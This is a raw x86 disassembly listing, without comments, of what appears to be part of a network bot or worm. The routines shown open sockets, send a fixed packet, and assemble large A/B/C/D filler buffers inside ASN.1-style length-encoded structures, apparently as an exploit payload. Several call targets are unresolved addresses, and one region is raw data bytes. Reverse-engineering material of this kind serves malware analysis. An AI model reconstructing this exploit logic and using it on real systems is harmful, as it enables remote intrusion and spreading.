		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0F4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7

loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B54
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEE4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40C4A2

loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------

loc_40C4A2:				; CODE XREF: sub_40C124+371j
		call	near ptr 2690DF2h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428

loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0F0[eax*8]
		push	eax
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431ADC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0F4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0F0
		call	near ptr 26F0734h
		nop

loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0F4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAFA4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB024
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEEC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB030
		push	eax
		mov	edi, offset dword_4CDAB4
		push	offset dword_431BBC
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h

loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB03C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B03015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BE468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCE00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E8905757h,	2283E4Ch, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0FEE890FCh,	0FF022641h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAECCh
		dd 45895040h, 0A015FF08h, 89004CAFh, 458D0845h,	50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 3015FFE4h, 50004CB0h, 0FED0858Dh,	3868FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0E0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 283D5BE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 226410Dh, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 3015FFE4h, 50004CB0h, 0FED0858Dh,	0C68FFFFh
		dd 5000431Ch, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx

loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949

loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------

loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------

loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE5C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------

loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1

loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C91C
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F

loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C70
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C78
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FF4
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C7C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FE8
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FE4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FE0
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FD4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431FCF+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------

loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB

loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------

loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAFBC

loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAFA0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFF4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------

loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431D0C
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D3C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDCBC
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C84
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95

loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------

loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1

loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl

loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

